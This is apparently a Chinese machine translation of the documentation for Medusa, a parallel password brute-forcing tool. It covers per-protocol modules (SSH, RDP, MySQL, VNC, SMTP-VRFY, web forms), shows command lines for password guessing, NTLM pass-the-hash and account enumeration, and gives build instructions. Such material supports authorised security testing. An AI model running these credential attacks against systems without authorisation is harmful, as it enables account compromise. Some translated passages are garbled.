ACCOUNT CHECK: [ssh] Host: 192.168.0.11 (2 of 11, 1 complete) User: jmk (3 of 4, 2 complete) Password: password (1 of 1 complete)

ALERT: To resume scan, add the following to your original command: "-Z h2u3u4h3."

正在恢复中断的扫描 % ../medusa -M ssh -H host.txt -U users.txt -p password -Z h2u3u4h3. Medusa v2.0 [http://www.foofus.net\] (C) JoMo-Kun / Foofus Networks

ACCOUNT CHECK: [ssh] Host: 192.168.0.11 (2 of 11, 0 complete) User: jmk (3 of 4, 0 complete) Password: password (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.0.11 (2 of 11, 0 complete) User: bar (4 of 4, 1 complete) Password: password (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.0.15 (3 of 11, 1 complete) User: foo (1 of 4, 0 complete) Password: password (1 of 1 complete) 以下是恢复的简单步骤:

h2u3u4h3。

  • ———没有100%完成的第一个主机

    • ——-不是100%完成的主机的第一个用户

    • —–未启动的主机的第一个用户

    • —没有开始的第一个主机

    • -地图结尾标记

块具体细节:

AFP

AFP模块根据Apple Filing Protocol服务测试帐户。

该AFP模块利用基于afpfs-ng FUSE的客户端(http://alexthepuffin.googlepages.com/home)。目前的Medusa autoconf设置要求将afpfs-ng头文件安装到/ usr / include / afpfs-ng,libary位于/usr/lib/libafpclient.so.0。如果这与您的设置不匹配,则需要修改autoconf配置。

CVS

CVS模块通过pserver协议对CVS版本控制系统进行测试。

该模块有一个选项DIR。这允许用户指定目标CVSROOT路径。例如:pserver:USER @ HOST:/ SOME_DIR。如果该选项未设置,则默认行为是使用/ root。

FTP

FTP模块根据FTP和FTPS服务测试帐户。这包括显式FTPS(RFC 4217中定义的AUTH TLS模式)和隐式(FTP over SSL(990 / tcp))。

HTTP

HTTP模块使用BASIC-AUTH,集成Windows身份验证(NTLM)和摘要(MD5和MD5-sess),对HTTP / HTTPS服务进行测试。

IMAP

IMAP模块根据IMAP服务测试帐户。该模块支持imap(143)和imaps(993)。IMAP模块要求服务器的功能,然后根据其响应进行LOGIN或AUTHENTICATE PLAIN。

MS-SQL

MSSQL模块根据Microsoft MS-SQL服务测试帐户。

应该注意的是,MS-SQL Developer Edition和/或MSDE的并发工作负载调控器可以将您的服务器任意时间限制在不超过五个并发连接。

MSSQL模块将自动检测远程主机上SQL Server实例使用的TCP端口。这是通过“SQL Ping”UDP请求完成的。如果主机上存在多个实例,则仅测试第一个实例。将报告任何其他实例,并注明其各自的TCP端口。通过使用Medusa“-n”选项指定端口,可以覆盖自动检测。

MySQL

MySQL模块针对MySQL服务测试帐户。

除了正常的密码爆破外,该模块还支持旧的MySQL(4.1之前)散列的“哈希传递”功能。旧的MySQL 4.1之前的认证方案很容易受到哈希传递认证攻击。利用从MySQL数据库收集的旧式散列,用户可以使用Medusa验证其在其他服务器上的有效性。修改的MySQL客户端也可以直接使用有效的哈希连接到远程服务。

NetWare NCP

NCP模块根据NetWare NCP服务测试帐户。该模块是使用NetWare 5.1主机作为目标开发的。

该模块需要ncpfs。还必须使用“install-dev”选项安装ncpfs软件包。这将安装ncpfs头文件和静态libncp库。修改后的Gentoo ebuild已包含在/ misc / net-fs / ncpfs目录中,该目录包含此选项的USE标志。

该模块有一个选项,即CONTEXT。应该注意的是,libncp默认情况下不会自动指定用户上下文。如果无法解析提供的名称,则会将服务器的上下文附加到用户名,并尝试解析该值。建议用户为正在测试的每个帐户指定上下文。可以使用CONTEXT选项指定全局上下文。每个用户上下文可以被定义为包含用户名或通过命令行传递文件中的用户名作为帐户名称的一部分。

以下示例演示了NCP模块的多种用途:

  • 为users.txt中的所有帐户指定上下文:

% medusa -h 192.168.0.20 -U users.txt -p bar -M ncp -m CONTEXT:.OU=administrators.O=foofus·

  • 通过“-u”参数传递完整的用户上下文:

% medusa -h 192.168.0.20 -u username.OU=administrators.O=foofus -p bar -M ncp

默认情况下,Libncp也使用NDS和BIND身份验证器。不幸的是,返回到模块的唯一错误消息是BIND认证器的错误消息。这些消息不像NDS那样描述,只是似乎报告成功或失败。为了获得更多有用的消息(帐户禁用/超过最大登录数等信息),请使用以下文本创建一个〜/ .nwclient或/etc/ncpfs.conf文件:

[Requester]NetWare Protocol = NDS

NNTP

NNTP模块通过AUTHINFO根据网络新闻传输协议测试帐户。

远程控制软件

PcAnywhere模块根据Symantec PcAnywhere服务测试帐户。

注意:PcAnywhere一次只允许一个连接。每个目标运行多个线程可能无法正常工作。

基于Server Version 10.5.1和Client 10.0.2的数据包捕获模块。

PCA验证方法: ADS(Active Directory服务)[1] FTP [2] HTTP [2] HTTPS [2] Microsoft LDAP [2] Netscape LDAP [2] Novell LDAP [2] NT [1] pcAnywhere [1] Windows [ 3] [1]已验证的工作 [2]未测试 [3]当PcAnywhere主机对域帐户进行身份验证时,验证工作。 对于具有模块和PcAnywhere的本地帐户,身份验证失败 目前还不知道发生了什么…

POP3

POP3模块针对POP3服务测试帐户。

该模块有一个选项MODE。如果未设置,默认行为是检查服务器响应中的“+”或“ – ”,以查看尝试是否成功。

如果服务器在AS / 400中进行测试,则应使用该选项执行该模块-m MODE:AS400。这将导致返回的-ERR消息被解析以获取附加信息。这是基于从以下文档收集的信息:Enumeration_of_AS400_users_via_pop3.pdf

该模块支持POP3(110 / tcp)和POP3S(POP3协议通过TLS / SSL)(995 / tcp)。此外,它还支持POP3 STARTTLS扩展,如http://www.faqs.org/rfcs/rfc2595.html中所定义。Medusa将向目标服务器提交“STLS”命令。如果返回正响应,则会启动TLS会话。

PostgreSQL

postgres模块根据PostgreSQL服务来测试帐户。

该模块需要PostgreSQL库:libpq

该模块有一个选项DB。这允许用户指定目标数据库名称。如果该选项未设置,默认行为是使用template1。

REXEC

REXEC模块根据REXEC服务测试帐户。

RDP

RDP模块根据Microsoft远程桌面协议(RDP)/终端服务测试帐户。应该注意的是,仅适用于运行Microsoft 2008及更高版本的目标系统。对Microsoft XP / 2003 / etc的测试将始终报告登录成功。

此模块需要FreeRDP。pass-the-hash选项也仅在安装FreeRDP版本1.2或更高版本时可用。

FreeRDP主分支的预构建二进制文件可从https://ci.freerdp.com获取。可用于Ubuntu,Debian,Fedora和OpenSUSE。nightly版本安装在/ opt / freerdp-nightly中,可以与发行版的常规freerdp软件包并行安装。如果Medusa在其构建过程中检测到此版本,则应该通过任何其他安装版本的FreeRDP构建该版本。

例如,以下工作适用于2015年11月11日的Kali 2.0:- 访问:https://ci.freerdp.com/job/freerdp-nightly-binaries/architecture=amd64,distribution=jessie,label=pkg-deb/

  • 下载:freerdp-nightly_1.2.1 + 0〜20151104024829.185〜1.gbpb83356_amd64.deb

  • 下载:freerdp-nightly-dev_1.2.1 + 0〜20151104024829.185〜1.gbpb83356_amd64.deb
  • 安装:dpkg -i freerdp-nightly * -更新运行时路径:echo / opt / freerdp-nightly / lib / >> /etc/ld.so.conf;ldconfig – 构建Medusa:./configure;make

以下示例演示了RDP模块的多种用途:

  • 使用pass-the-hash(NTLM)登录尝试:

medusa -M rdp -m PASS:HASH -h 10.10.10.10 -u Administrator -p 31D78236327B9619B14ED8EC9AB454C1

  • 提供域名的登录尝试(默认行为是本地登录):

medusa -M rdp -m DOMAIN:CORPNAME -h 10.10.10.10 -u Administrator -p Password1

RLOGIN

RLOGIN模块根据RLOGIN服务测试帐户。

RSH

RSH模块根据RSH服务测试帐户。

SMBNT

http://foofus.net/goons/jmk/medusa/medusa-smbnt.html

SMTP-AUTH

用于使用TLS(STARTTLS扩展)进行SMTP验证的强力模块。

SMTP-VRFY

SMTP-VRFY模块用于枚举哪些帐户在邮件服务器上是十分有效。该模块发送以下内容:

EHLO some_name VRFY [email protected]

模块期望通过用户选项(-u / -U / -C)检查帐户。应该提供域名,如果它是一个密码。通过EHLO命令发送的值可以使用-m EHLO:模块选项进行设置。默认是发送MEDUSA。

此模块是在测试单个错误配置的SMTP垃圾邮件过滤器时编写的。其他设备的行为可能不一样。可能需要对模块进行某些调整。

SNMP

SNMP模块根据简单网络管理协议(SNMP)服务测试社区字符串。

该模块有几个选项:TIMEOUT,VERSION和ACCESS。默认值为2秒,版本1和READ访问。应该注意的是,当测试WRITE功能时,模块将读取sysLocation的当前值,然后将相同的值写回系统。

由于SNMP是基于UDP的协议,因此在发送和接收传输层实体之间不存在握手。由于这种无连接通信,只有当我们知道SNMP服务存在时,才能发送正确的社区字符串,并且服务器发送响应。所有其他查询都不会导致任何响应。我们在这里使用的方法是最初只发送我们所有的SNMP GET请求。完成后,我们等待TIMEOUT秒的任何响应。如果我们得到任何回应,我们检查他们看看哪些public字符串是成功的。如果指定了ACCESS:WRITE,我们检查每个先前成功的值的写访问权限。快速而暴力。

SSH

SSH模块使用SSHv2对SSH服务进行测试。该模块目前支持强制SSH键盘交互和密码验证模式。

该模块需要libssh2(www.libssh2.org)。这与libssh(0xbadc0de.be)不同。应该注意的是,libssh2库,因此,Medusa SSH模块只支持强制服务器,可以与SSHv2通信。Libssh2不支持v1,它看起来可能永远不会。

该模块有一个选项,BANNER。如果不明显,则允许您设置认证测试期间发送的客户端。默认值为“SSH-2.0-MEDUSA”。

关于libssh2的一些注意事项使用库存libssh2库,运行Medusa时,用户可能会遇到挂起的模块线程。这个问题是由于libssh2的libssh2_session_startup()并不总是返回值,这是libssh2中挂起的原因。OpenSSH的默认行为是仅允许10个未认证的连接,并忽略其他所有内容。虽然我们在测试中并不总是运行10个线程,但是我们的线程可能比目标清除之前的连接更快地击中它们

同时问题有两个方面:

  • libssh2永远等待ssh服务器用banner回应。这使我们的线程永远等待,这是一个打击。我在/ misc目录中添加了一个修补程序到
    libssh2,使其计数到1000,然后停止等待。这个小修补程序已经提交给libssh2的人,一个修复程序将有希望被包含在将来的版本中。

  • 我们现在循环访问libssh2_session_startup()调用。如果libssh2无法协商SSH会话,此功能将失败。我们给它5张照片通过并在每个休眠之间设置一个用户可配置的时间。如果我们在5次尝试后失败,我们会显示发生这种情况,并确定未测试的主机/用户/
    通行证组合。

**从libssh2 0.18(devel)开始,这个问题似乎解决了。**

应该注意的是,虽然你可以运行许多SSH的线程,但并不是越多越好好。当您在10个以上时,您将注意到该模块会重试startup()函数

Subversion(SVN)

SVN模块根据Subversion(SVN)服务来测试帐户,该模块需要安装svn_client-1库。这应该作为Subversion的一部分安装。

该模块有一个选项,BRANCH。这允许用户指定目标SVN URL。例如,svn:// host / branch。如果该选项未设置,则默认行为是使用中继。

远程登录

TELNET模块根据TELNET服务测试帐户。该模块支持telnet(23)和telnet(992)。

该模块目前有一个选项MODE。MODE可以是NORMAL(默认)或AS400。AS400模式支持基本的AS / 400 tn5250连接。当对AS / 400进行测试时,此方法允许比FTP更具描述性的错误消息。但是,如果在AS / 400上可用,POP3仍然是更好的暴力选项。

Telnet模块将输出到发现只有密码提示的日志文件主机。当扫描使用或缺少AAA时,这可能是有用的。

VMware身份验证守护程序(vmauthd)

VMWAUTHD模块根据VMware身份验证守护程序测试帐户。它支持服务的非SSL和SSL加密安装。

VNC

VNC模块根据VNC服务测试帐户。

该模块使用RealVNC和UltraVNC开发,支持基本的抗暴力功能。例如,RealVNC允许5次尝试失败,然后执行10秒延迟。对于后续尝试,延迟加倍。UltraVNC似乎允许6次无效尝试,然后在每次尝试之间强制10秒延迟。此模块尝试识别这些情况,并通过调用sleep()进行适当的响应。使用MAXSLEEP参数强制强制RealVNC时,用户可设置休眠限制。一旦达到此值,模块将退出。

此模块支持无密码和仅密码身份验证以及UltraVNC MS-Logon(本地/域Windows凭据)用户名/密码凭据。

通用包装

封装模块的目的是允许用户执行任意脚本,同时利用Medusa管理主机/用户/密码。包装器目录中包含两个示例脚本。

这是一个正在进行的工作…该模块目前使用的是不理想的fork()。不知道我是否可以启动一个线程,并重定向STDIN / STDOUT线程…

该模块的初始目标是使用rdesktop测试RDP服务器。rdesktop 1.4.1的修补程序已包含在/ misc / rdesktop目录中。这扩展了从cqure.net的字典修补程序与Medusa包装器STDIN方法。应该注意的是,当连接到Windows 2000主机时,rdesktop似乎不能使用命令行密码。Windows 2003和XP在测试过程中工作正常。

以下示例显示了使用rdesktop与包装器模块的

medusa -M wrapper -m TYPE:STDIN -m PROG:rdesktop -m ARGS:"-u %U -p - %H" -H hosts.txt -U users.txt -P passwords.txt

一种方法:用于隐藏rdesktop图形输出的一种可能方法:% Xvfb :97 -ac -nolisten tcp & % export DISPLAY=:97

Web表单

用于处理GET / POST请求的基本web表单强力模块。支持可定制的提交参数和服务器响应文本。

0×03在哪下载?

medusa-2.2.tar.gz Medusa-gui(由tak和bigmoneyhat开发的基于Java的GUI)

http://www.foofus.net/jmk/tools/medusa-2.2.tar.gz

https://github.com/Tak31337/medusa-gui

安装说明:

简介

大部分的Medusa都是在基于Linux / Gentoo的系统上编写和测试的。虽然已经可以在各种操作系统处理问题,但很可能在非Gentoo设备上出现问题。当然,到目前为止有一些问题也可能使Gentoo系统上遗漏的…

Medusa的构建相当简单:“./configure; make; make install”。要充分展现Medusa的强悍,必须满足一些依赖。下表列出了具有附加依赖关系的模块。为了模块的功能,当模块本身被编译时,必须在系统上安装相应的头文件。每个模块的文档中都包含其他模块特定信息。

依赖 主页 模块 备注
OpenSSL http://www.openssl.org HTTP,MSSQL,SMBNT,基于SSL的连接
LibSSH2 http://www.libssh2.org SSH 提供LibSSH2补丁来解决时序问题。问题似乎在0.18中得到解决。
NCPFS ftp://platan.vc.cvut.cz/pub/linux/ncpfs NCP “make install-dev”
LIBPQ http://www.postgresql.org PostgreSQL的
Subversion http://subversion.tigris.org SVN
afpfs-NG http://alexthepuffin.googlepages.com/home AFP 手动安装。Autoconf目前安装基础为/ usr(例如/ usr / include / afpfs-ng)

还应该注意的是,默认情况下并不是所有的模块都可以被构建。尚未充分测试的不完整模块可能会被禁用。“configure”输出应该标识它将尝试构建哪些模块。要启用非默认模块,请使用“–enable-module-MODULE_NAME”配置选项。

Linux的/的Gentoo

此时,Medusa在Portage版本内不可用。Medusa的ebuild版本已经提交到bugs.gentoo.org,但尚未进入Portage版本。同时,所有的ebuild版本都可以通过Portage Overlay使用。例如,Medusa可以通过位于trac.pentoo.ch的Gentoo“pentoo”覆盖面进行安装。另外,ebuild已被包括在内,也可以手动安装。

以下ebuilds已包含在此分发中:

/misc/net-analyzer/medusa-2.1.ebuild

一些基本的Portage Overlay说明:

修改/etc/make.conf

PORTDIR_OVERLAY="/some/directory/"

在PORTDIR_OVERLAY目录中创建以下内容: net-analyzer/medusa

将每个ebuild和任何附带的文件放在其相应的

PORTDIR_OVERLAY目录中。 cd进入每个目录并执行: ebuild name_of_ebuild.ebuild digest

修改/etc/portage/package.keywords net-analyzer/medusa ~x86

其他系统

Medusa已经建成,并在各种默认系统安装上进行了基本测试。下表列出了这些测试中的一些注释。

操作系统 发行版/版本 备注
Linux CentOS 7.1(64位) 安装:“开发工具”,openssl-devel,libssh2-devel,postgresql-devel,subversion-devel,freerdp-devel
Debian Stretch(64位) 已安装:build-essential,libgnutls28-dev,libssl-dev,libpq5,libpq-dev,libssh2-1,libssh2-1-dev,libsvn-dev,freerdp,libfreerdp-dev
Fedora 21 安装:“开发工具”,afpfs-ng-devel,openssl-devel,libssh2-devel,postgresql-devel,subversion-devel,freerdp-devel
kali1.1.0(32位) 已安装:libafpclient0,libafpclient-dev,libncp,libncp-dev,libpq-dev,libssh2-1-dev,libgcrypt11-dev,libgnutls-dev,libsvn-dev,freerdp-x11,libfreerdp-dev
kali2.0(64位) 已安装:automake,libssl-dev,libpq-dev,libssh2-1-dev,libgcrypt11-dev,libgnutls28-dev,libsvn-dev,freerdp-x11,libfreerdp-dev
Mint17 已安装:build-essential,libssl-dev,libpq5,libpq-dev,libssh2-1,libssh2-1-dev,libgcrypt11-dev,libgnutls-dev,libsvn-dev,freerdp,libfreerdp-dev
openSUSE 11.2 已安装:patterns-openSUSE-devel_C_C ++,ncpfs-devel,libssh2-devel,postgresql-devel,subversion-devel
Ubuntu 14.04 已安装:build-essential,libssl-dev,libpq5,libpq-dev,libssh2-1,libssh2-1-dev,libgcrypt11-dev,libgnutls-dev,libsvn-dev,freerdp,libfreerdp-dev
SunOS Solaris 11 x86 已安装:developer-gnu
BSD FreeBSD 7.2 已安装:afpfs-ng,ncpfs,libssh2,postgresql,libpq,libsvn
Mac OS X OS X 10.10(Yosemite) 安装:Homebrew,XCode,“brew install freerdp –HEAD”
Microsoft Windows Cygwin 我一直无法在Cygwin下构建模块。如果有人能弄清楚,我会在下一个DefCon上给你买一杯啤酒。

0×04谁创建的Medusa?

Foofus.net的怪人带来了这个可怕的软件(Medusa怪兽)。JoMo-Kun是首席执行官,并写下了Medusa的核心以及其中的几个模块。Foofus为可加载模块创建了初始设计。Fizzgig提供了网络代码,几个模块,可加载模块的实现以及修复了一堆JoMo-Kun的缺陷。pMonkey是一个疯狂的模块编码魔术师。最后同样重要的是,Heidi提供了这个工具的名字。

0×05嘿嘿嘿?

如果您有关于此应用程序的问题,请随时与我们联系。直接发送电子邮件或加入我们的邮件列表foofus-tools。如果发生故障,请发送详细的错误报告。更好的是发送补丁。虽然我没有声称这个程序会做成你想要的,但我们的确想这么做。在我们的评估过程中,我一直在使用它已经好几年了。希望别人会有类似的好运一起使用Medusa。如果您发现Medusa有用,并希望给予回馈,请提交新的模块,代码改进,或者在下一个DefCon上献上Foofus.netgoons的啤酒。

From Joe

 参考:http://foofus.net/goons/jmk/medusa/medusa-compare.html

字典放在第二部分,会尽快完成,敬请期待